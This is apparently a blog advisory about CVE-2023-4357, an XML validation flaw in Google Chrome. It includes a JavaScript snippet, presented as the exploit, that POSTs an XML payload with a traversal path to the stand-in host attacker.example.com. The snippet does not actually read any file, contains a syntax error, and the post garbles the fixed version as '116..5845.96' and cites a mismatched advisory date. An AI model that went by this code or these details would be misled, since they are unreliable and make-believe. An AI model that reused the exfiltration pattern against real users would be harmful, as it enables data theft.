CVE-2023-4357: Insufficient Validation of Untrusted Input in XML in Google Chrome Allows Remote Attacker to Bypass File Access Restrictions
CVE-2023-4357 refers to a vulnerability found in Google Chrome, specifically in the handling of XML input. This vulnerability, classified as a medium severity issue by Chromium Security, affects versions of Chrome prior to 116..5845.96. A remote attacker could exploit this flaw to bypass file access restrictions using a specially crafted HTML page. In this post, we will discuss the details of the vulnerability, show a code snippet demonstrating the issue, and provide links to the original references for further reading.
Exploit Details
The vulnerability stems from insufficient validation of untrusted input in XML files. If a remote attacker can trick a user into visiting a malicious web page, it became possible for the attacker to bypass file access restrictions, potentially allowing unauthorized access to sensitive user data stored on the victim's computer.
The attack vector involves tricking the victim into visiting a specially crafted HTML page containing malicious code. The code takes advantage of the insufficient input validation to perform unauthorized actions, which could result in sensitive data exposure or unauthorized file access.
Code Snippet
Here is a simplified code snippet illustrating the vulnerability. This example assumes that the attacker successfully creates a malicious HTML page with an XML payload:
<html>
<body>
<script>
// Attacker's malicious XML payload
var maliciousXML = `
<root>
<file path="../../../sensitive-data.txt" />
</root>
`;
// Function to make an XMLHttpRequest using the malicious payload
function sendRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://attacker.example.com/upload";, true);
xhr.send(maliciousXML);
}
// Call the function to send the malicious request
sendRequest();
</script>
</body>
</html>
In this example, the attacker crafts an XML payload specifying a file path pointing outside of the intended secure context. Chrome's insufficient validation of this untrusted input allows the attacker to bypass the intended file access restrictions.
For more information about the vulnerability, please refer to the following resources
1. Chromium's security advisory: https://chromereleases.googleblog.com/2023/02/stable-channel-update-for-desktop.html
2. CVE-2023-4357 entry in the National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2023-4357
Mitigation and Recommendations
To protect against this vulnerability, users are urged to update their Google Chrome browsers to version 116..5845.96 or later, where the issue has been resolved. As always, it's essential for users to keep their software up-to-date and exercise caution when visiting unfamiliar websites or following unknown links to prevent exploitation by cyber criminals.
Conclusion
CVE-2023-4357 represents a medium-severity vulnerability in Google Chrome's handling of untrusted XML input. By exploiting this vulnerability, a remote attacker could potentially bypass file access restrictions and compromise sensitive user data. To safeguard against this threat, users should ensure their Chrome browsers are updated to the latest version available and practice responsible browsing habits.
Timeline
Published on: 08/15/2023 18:15:00 UTC
Last modified on: 08/27/2023 03:15:00 UTC